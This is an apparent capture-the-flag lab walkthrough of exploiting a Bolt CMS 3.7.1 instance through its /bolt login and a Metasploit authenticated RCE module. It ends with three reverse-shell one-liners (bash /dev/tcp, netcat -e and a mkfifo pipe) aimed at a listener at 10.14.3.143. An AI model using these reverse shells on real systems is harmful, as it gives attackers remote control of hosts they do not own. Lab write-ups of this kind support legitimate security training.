There exists a login page in bolt cms , I had to google that what is the page name of the login and it is `/bolt`
|
||
|
|
|
||
|
|
<img src="https://imgur.com/l55Yh4e.png"/>
|
||
|
|
|
||
|
|
Login to the cms
|
||
|
|
|
||
|

|
||
|
|
|
||
|
|
Here on bottom left you can bolt cms version which is `Bolt 3.7.1`
|
||
|
|
|
||
|
|
|
||
|
|
## Searchsploit
|
||
|
|
|
||
|
|
Now search for any exploit available for `bolt cms`
|
||
|
|
|
||
|
|
<img src="https://imgur.com/uuGxZwV.png"/>
|
||
|
|
|
||
|
|
This exploit stands out perferctly because this authenticated RCE and we have the creds
|
||
|
|
|
||
|
|
## Metasploit
|
||
|
|
|
||
|
|
Let's look at metasplolit too , for that I tired using `search bolt` but no results came up ,then tried `search cms` a lot of cms exploits results came up
|
||
|
|
|
||
|
|
<img src="https://imgur.com/jUz8yl9.png"/>
|
||
|
|
|
||
|
|
So now it doesn't matter which exploit you use either metasploit or exploit-db but in this case since we are following what the rooms we are going to go with
|
||
|
|
`metasploit`
|
||
|
|
|
||
|
|
Configure the exploit
|
||
|
|
|
||
|
|
<img src="https://imgur.com/BpPjtva.png"/>
|
||
|
|
|
||
|
|
We will have a session created
|
||
|
|
|
||

|
||
|
|
|
||
|
|
|
||
|
|
If you wish to have a stabilize shell , run a reverse shell command to get a stablize shell , set a listener and try one these reverse shells
|
||
|
|
|
||
|
|
```
|
||
|
|
bash -i >& /dev/tcp/10.14.3.143/6666 0>&1
|
||
|
|
nc -e /bin/sh 10.14.3.143 6666
|
||
|
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.3.143 6666 >/tmp/f
|
||
|
|
|
||
|
|
```

|
Only the unix version of netcat reverse shell worked
